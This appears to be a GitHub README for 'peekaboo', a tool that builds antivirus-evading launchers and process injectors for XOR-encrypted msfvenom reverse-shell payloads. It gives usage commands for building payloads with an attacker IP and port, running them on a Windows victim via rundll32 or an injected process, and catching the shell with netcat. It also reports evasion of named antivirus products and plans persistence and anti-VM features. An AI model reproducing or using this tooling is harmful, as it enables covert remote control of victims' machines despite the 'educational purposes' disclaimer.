skyn9ne/peekaboo

Simple undetectable shellcode and code injector launcher example. Inspired by RTO malware development course.

Peekaboo

Simple undetectable shellcode and code injector launcher example. Inspired by RTO malware development course.

Main logic

XOR encryption and decryption for functions call and main payload - msfvenom reverse shell as example.

Usage

1. DLL

on attacker machine

check your IP:

ip a

run python script with flags:

python3 peekaboo.py -l 192.168.56.1 -p 4444 --build 1

then on victim machine (windows 10 x64):

run on powershell or cmd promt:

rundll32 .\peekaboo.dll, lCiSdbvIAaeZLHFfkUhEcbOy

check on attacker machine:

check your netcat listener:

2.Injector

on attacker machine:

check attacker ip:

ip a

run python script on linux (for example process mspaint.exe):

python3 peekaboo.py -l 192.168.56.1 -p 4444 -e mspaint.exe --build 2

then on victim machine run (windows 10 x64):

.\peekaboo.exe

or click (if -m windows param)

check on attacker machine:

check your netcat listener:

3. NT API injector

run python script on linux (for example process mspaint.exe):

python3 peekaboo.py -l 192.168.56.1 -p 4444 -e mspaint.exe -m console --build 3

then on victim machine (windows 10 x64):

.\peekaboo.exe

Issues.

Tested on:

1. Attacker machines: Kali linux 2020.1, Windows 10 x64
2. Victim machine: Windows 7 x64, Windows 10 x64
3. Payload: windows x64 reverse shell from msfvenom
4. AV Engines: Kaspersky, Windows Defender, Norton Antivirus Plus

virus total result:

02 september 2021

https://www.virustotal.com/gui/file/c930b9aeab693d36c68e7bcf6353c7515b8fffc8f9a9233e49e90da49ab5d470/detection

30 december 2021 (NT API injector)

https://www.virustotal.com/gui/file/743f50e92c6ef48d6514e0ce2a255165f83afb1ae66deefd68dac50d80748e55/detection

antiscan.me result:

11 january 2022 (NT API injector)

https://antiscan.me/scan/new/result?id=rQVfQhoFYgH9

TODO

• Compile injector in Kali linux
• XOR + AES aes branch
• Calling Windows API functions by hash names
• Find Kernel32 base via asm style
• One python builder
• Anti-VM tricks
• Persistence via Windows Registry run keys
• Replace msfvenom shell to donut payload???

Attention

This tool is a Proof of Concept and is for Educational Purposes Only!!! Author takes no responsibility of any damage you cause

License

MIT